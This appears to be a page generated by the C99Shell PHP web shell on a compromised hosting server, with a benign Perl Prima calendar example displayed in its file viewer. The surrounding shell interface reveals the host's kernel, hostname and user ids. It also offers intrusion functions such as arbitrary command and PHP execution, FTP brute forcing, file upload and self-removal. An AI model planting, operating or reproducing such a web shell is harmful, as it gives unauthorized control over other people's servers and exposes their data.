!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/lib64/perl5/vendor_perl/Prima/examples/   drwxr-xr-x
Free 6181.77 GB of 6262.97 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     calendar.pl (1.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
=pod

=head1 NAME

examples/calendar.pl - Standard calendar widget

=head1 FEATURES

Demonstrates usage of L<Prima::Calendar>.
Note the special check of C<useLocale> success.

=cut

use strict;
use warnings;
use Prima;
use Prima::Application name => 'Calendar';
use Prima::Calendar;

my $cal;
my $w = Prima::MainWindow->new(
    text => "Calendar example",
    size => [ 200, 200],
    designScale => [6,16],
    menuItems => [[ "~Options" => [
        [ '@locale', 'Use ~locale', 'Ctrl+L', '^L', sub {
            my ( $self, $mid, $val) = @_;
            my $newstate;
            $cal-> useLocale( $newstate = $val );
            $cal-> notify(q(Change));
            return unless $newstate && !$cal-> useLocale;
            $self-> menu-> uncheck( $mid);
            Prima::message("Selecting 'locale' failed");
        }],
        [ 'Re~set to current date', 'Ctrl+R', '^R', sub {
            $cal-> date_from_time( localtime( time));
        }],
        [ '@monday', '~Monday is the first day of week', sub {
            my ( $self, $mid, $val) = @_;
            $cal-> firstDayOfWeek( $val );
        }],
    ]]],
);

$cal = $w-> insert( Calendar =>
    useLocale => 1,
    onChange  => sub {
        $w-> text( "Calendar - ".$cal-> date_as_string);
    },
    pack => { expand => 1, fill => 'both'},
);

$w-> menu-> locale-> check if $cal-> useLocale;

run Prima;


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.013 ]--